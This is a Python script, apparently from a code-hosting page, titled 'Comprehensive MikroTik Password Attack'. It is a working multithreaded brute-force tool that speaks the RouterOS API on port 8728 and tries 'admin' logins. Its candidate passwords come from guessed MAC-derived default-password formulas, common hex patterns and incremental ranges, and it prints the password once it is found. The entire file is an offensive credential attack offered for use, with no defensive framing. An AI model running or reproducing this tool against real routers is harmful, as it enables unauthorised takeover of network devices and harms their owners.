329 lines
No EOL
12 KiB
Python
329 lines
No EOL
12 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
Comprehensive MikroTik Password Attack
|
|
Uses reliable API authentication testing with multiple algorithm variations
|
|
"""
|
|
|
|
import socket
|
|
import time
|
|
import threading
|
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
import itertools
|
|
import random
|
|
|
|
class MikroTikAPIAttack:
|
|
def __init__(self, host, port=8728):
|
|
self.host = host
|
|
self.port = port
|
|
self.username = "admin"
|
|
self.found_password = None
|
|
self.attempts = 0
|
|
self.start_time = None
|
|
self.lock = threading.Lock()
|
|
self.stop_flag = threading.Event()
|
|
|
|
def test_api_password(self, password, timeout=3):
|
|
"""Test password using MikroTik API - most reliable method"""
|
|
if self.stop_flag.is_set():
|
|
return False
|
|
|
|
try:
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
sock.settimeout(timeout)
|
|
sock.connect((self.host, self.port))
|
|
|
|
def encode_length(length):
|
|
if length <= 0x7F:
|
|
return bytes([length])
|
|
elif length <= 0x3FFF:
|
|
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
|
|
else:
|
|
return bytes([0xFF])
|
|
|
|
def write_word(word):
|
|
word_bytes = word.encode('utf-8')
|
|
sock.send(encode_length(len(word_bytes)))
|
|
sock.send(word_bytes)
|
|
|
|
def write_sentence(words):
|
|
for word in words:
|
|
write_word(word)
|
|
write_word("")
|
|
|
|
def read_word():
|
|
try:
|
|
length_byte = sock.recv(1)
|
|
if not length_byte:
|
|
return ""
|
|
length = length_byte[0]
|
|
if length == 0:
|
|
return ""
|
|
if length & 0x80:
|
|
second_byte = sock.recv(1)
|
|
if not second_byte:
|
|
return ""
|
|
length = ((length & 0x7F) << 8) + second_byte[0]
|
|
|
|
if length > 500: # Sanity check
|
|
return ""
|
|
|
|
return sock.recv(length).decode('utf-8', 'ignore')
|
|
except:
|
|
return ""
|
|
|
|
def read_sentence():
|
|
sentence = []
|
|
while True:
|
|
word = read_word()
|
|
if word == "":
|
|
break
|
|
sentence.append(word)
|
|
return sentence
|
|
|
|
# Send login
|
|
write_sentence(["/login", f"=name={self.username}", f"=password={password}"])
|
|
|
|
# Read response
|
|
response = read_sentence()
|
|
sock.close()
|
|
|
|
# Success if we get "!done" without error
|
|
return response and response[0] == "!done"
|
|
|
|
except Exception:
|
|
return False
|
|
|
|
def test_password(self, password):
|
|
"""Test a password and handle progress reporting"""
|
|
if self.stop_flag.is_set():
|
|
return False
|
|
|
|
with self.lock:
|
|
self.attempts += 1
|
|
current_attempts = self.attempts
|
|
|
|
# Progress reporting
|
|
if current_attempts % 50 == 0:
|
|
elapsed = time.time() - self.start_time
|
|
rate = current_attempts / elapsed if elapsed > 0 else 0
|
|
print(f"[*] Attempt {current_attempts} ({rate:.1f} pwd/sec) - Testing: {password}")
|
|
|
|
if self.test_api_password(password):
|
|
print(f"\n*** PASSWORD FOUND! ***")
|
|
print(f"Host: {self.host}")
|
|
print(f"Username: {self.username}")
|
|
print(f"Password: {password}")
|
|
print(f"Total attempts: {current_attempts}")
|
|
elapsed = time.time() - self.start_time
|
|
print(f"Time taken: {elapsed:.2f} seconds")
|
|
self.found_password = password
|
|
self.stop_flag.set()
|
|
return True
|
|
|
|
return False
|
|
|
|
def generate_mac_algorithm_variations(mac_address):
|
|
"""Generate comprehensive MAC-based password variations"""
|
|
passwords = []
|
|
|
|
# Parse MAC
|
|
mac_clean = mac_address.upper().replace(':', '').replace('-', '')
|
|
if len(mac_clean) != 12:
|
|
return passwords
|
|
|
|
mac_bytes = [int(mac_clean[i:i+2], 16) for i in range(0, 12, 2)]
|
|
|
|
# Test different XOR constants (not just 0xD0)
|
|
xor_constants = [0xD0, 0xC0, 0xE0, 0xF0, 0x80, 0x90, 0xA0, 0xB0, 0x60, 0x70, 0x50, 0x40]
|
|
|
|
# Test different final constants (not just 0xFF)
|
|
final_constants = [0xFF, 0xFE, 0xFD, 0xFC, 0x00, 0x01, 0x02, 0x03, 0xAA, 0x55, 0xF0, 0x0F]
|
|
|
|
# Algorithm variations
|
|
for xor_const in xor_constants:
|
|
for final_const in final_constants:
|
|
# Standard algorithm: MAC[0]^XOR, MAC[1], ~MAC[2], FINAL
|
|
pwd_bytes = [
|
|
mac_bytes[0] ^ xor_const,
|
|
mac_bytes[1],
|
|
(~mac_bytes[2]) & 0xFF,
|
|
final_const
|
|
]
|
|
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
|
|
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
|
|
|
# Variation: Different MAC byte positions
|
|
for i in range(6):
|
|
for j in range(6):
|
|
for k in range(6):
|
|
if i != j and j != k and i != k: # Different positions
|
|
pwd_bytes = [
|
|
mac_bytes[i] ^ xor_const,
|
|
mac_bytes[j],
|
|
(~mac_bytes[k]) & 0xFF,
|
|
final_const
|
|
]
|
|
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
|
|
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
|
|
|
# Direct MAC usage patterns
|
|
for combo in itertools.permutations(mac_bytes[:4]):
|
|
hex_str = ''.join(f'{b:02x}' for b in combo)
|
|
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
|
|
|
# Last/First 4 bytes of MAC
|
|
hex_str = ''.join(f'{b:02x}' for b in mac_bytes[2:6])
|
|
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
|
hex_str = ''.join(f'{b:02x}' for b in mac_bytes[0:4])
|
|
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
|
|
|
return list(set(passwords)) # Remove duplicates
|
|
|
|
def generate_pattern_passwords():
|
|
"""Generate common password patterns"""
|
|
patterns = []
|
|
|
|
# Basic patterns
|
|
basic = [
|
|
"0000-0000", "1111-1111", "2222-2222", "ffff-ffff",
|
|
"aaaa-aaaa", "bbbb-bbbb", "cccc-cccc", "dddd-dddd",
|
|
"1234-5678", "8765-4321", "abcd-efab", "dead-beef",
|
|
"cafe-babe", "feed-face", "babe-face", "c0de-d00d",
|
|
]
|
|
patterns.extend(basic)
|
|
|
|
# Year-based (installation years)
|
|
for year in range(2010, 2025):
|
|
patterns.extend([
|
|
f"0000-{year:04x}",
|
|
f"{year:04x}-0000",
|
|
f"{year:04x}-{year:04x}",
|
|
f"1234-{year:04x}",
|
|
f"{year:04x}-1234",
|
|
])
|
|
|
|
# Sequential hex patterns
|
|
for i in range(0, 16):
|
|
hex_char = f"{i:x}"
|
|
patterns.extend([
|
|
f"{hex_char}{hex_char}{hex_char}{hex_char}-{hex_char}{hex_char}{hex_char}{hex_char}",
|
|
f"0000-{hex_char}{hex_char}{hex_char}{hex_char}",
|
|
f"{hex_char}{hex_char}{hex_char}{hex_char}-0000",
|
|
])
|
|
|
|
return patterns
|
|
|
|
def generate_incremental_around_base(base_password, range_size=2000):
|
|
"""Generate passwords around a base password"""
|
|
passwords = []
|
|
|
|
try:
|
|
# Convert base password to integer
|
|
hex_str = base_password.replace('-', '')
|
|
base_int = int(hex_str, 16)
|
|
|
|
# Generate passwords around this value
|
|
for offset in range(-range_size//2, range_size//2 + 1):
|
|
new_val = base_int + offset
|
|
if 0 <= new_val <= 0xFFFFFFFF:
|
|
hex_str = f"{new_val:08x}"
|
|
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
|
except:
|
|
pass
|
|
|
|
return passwords
|
|
|
|
def main():
|
|
import sys
|
|
|
|
if len(sys.argv) < 2:
|
|
print("Usage: python3 mikrotik_comprehensive_attack.py <HOST> [MAC] [threads]")
|
|
print("Example: python3 mikrotik_comprehensive_attack.py 10.250.2.2 B8:69:F4:12:8E:F8 4")
|
|
sys.exit(1)
|
|
|
|
host = sys.argv[1]
|
|
mac_address = sys.argv[2] if len(sys.argv) > 2 else "B8:69:F4:12:8E:F8"
|
|
threads = int(sys.argv[3]) if len(sys.argv) > 3 else 4
|
|
|
|
print(f"Comprehensive MikroTik Password Attack")
|
|
print(f"Host: {host}")
|
|
print(f"MAC: {mac_address}")
|
|
print(f"Threads: {threads}")
|
|
print("=" * 60)
|
|
|
|
# Generate password candidates
|
|
print("Generating password candidates...")
|
|
|
|
mac_passwords = generate_mac_algorithm_variations(mac_address)
|
|
print(f"MAC-based algorithms: {len(mac_passwords)} passwords")
|
|
|
|
pattern_passwords = generate_pattern_passwords()
|
|
print(f"Common patterns: {len(pattern_passwords)} passwords")
|
|
|
|
# Generate incremental around the standard algorithm result
|
|
base_mac_clean = mac_address.upper().replace(':', '')
|
|
base_mac_bytes = [int(base_mac_clean[i:i+2], 16) for i in range(0, 12, 2)]
|
|
standard_result = f"{base_mac_bytes[0] ^ 0xD0:02x}{base_mac_bytes[1]:02x}{(~base_mac_bytes[2]) & 0xFF:02x}ff"
|
|
standard_formatted = f"{standard_result[:4]}-{standard_result[4:]}"
|
|
incremental_passwords = generate_incremental_around_base(standard_formatted, 1000)
|
|
print(f"Incremental around {standard_formatted}: {len(incremental_passwords)} passwords")
|
|
|
|
# Combine all passwords and remove duplicates
|
|
all_passwords = list(set(mac_passwords + pattern_passwords + incremental_passwords))
|
|
print(f"Total unique passwords: {len(all_passwords)}")
|
|
|
|
# Prioritize: MAC algorithms first, then patterns, then incremental
|
|
prioritized = mac_passwords + pattern_passwords + incremental_passwords
|
|
# Remove duplicates while preserving order
|
|
seen = set()
|
|
final_passwords = []
|
|
for pwd in prioritized:
|
|
if pwd not in seen:
|
|
seen.add(pwd)
|
|
final_passwords.append(pwd)
|
|
|
|
print(f"Testing {len(final_passwords)} passwords in priority order...")
|
|
print()
|
|
|
|
# Run attack
|
|
attacker = MikroTikAPIAttack(host)
|
|
attacker.start_time = time.time()
|
|
|
|
# Use ThreadPoolExecutor
|
|
with ThreadPoolExecutor(max_workers=threads) as executor:
|
|
future_to_password = {
|
|
executor.submit(attacker.test_password, pwd): pwd
|
|
for pwd in final_passwords
|
|
}
|
|
|
|
for future in as_completed(future_to_password):
|
|
if attacker.stop_flag.is_set():
|
|
# Cancel remaining tasks
|
|
for f in future_to_password:
|
|
f.cancel()
|
|
break
|
|
|
|
try:
|
|
result = future.result()
|
|
if result:
|
|
print(f"\n✓ SUCCESS! Password found: {attacker.found_password}")
|
|
sys.exit(0)
|
|
except Exception as e:
|
|
password = future_to_password[future]
|
|
print(f"Error testing {password}: {e}")
|
|
|
|
if not attacker.found_password:
|
|
elapsed = time.time() - attacker.start_time
|
|
print(f"\nAttack completed without success.")
|
|
print(f"Total attempts: {attacker.attempts}")
|
|
print(f"Time taken: {elapsed:.2f} seconds")
|
|
print(f"Rate: {attacker.attempts/elapsed:.1f} passwords/second")
|
|
print("\nPassword not found in tested algorithms.")
|
|
print("Consider:")
|
|
print("1. Device may use different algorithm")
|
|
print("2. Custom password may be set")
|
|
print("3. Hardware reset if device is accessible")
|
|
sys.exit(1)
|
|
|
|
if __name__ == "__main__":
|
|
main() |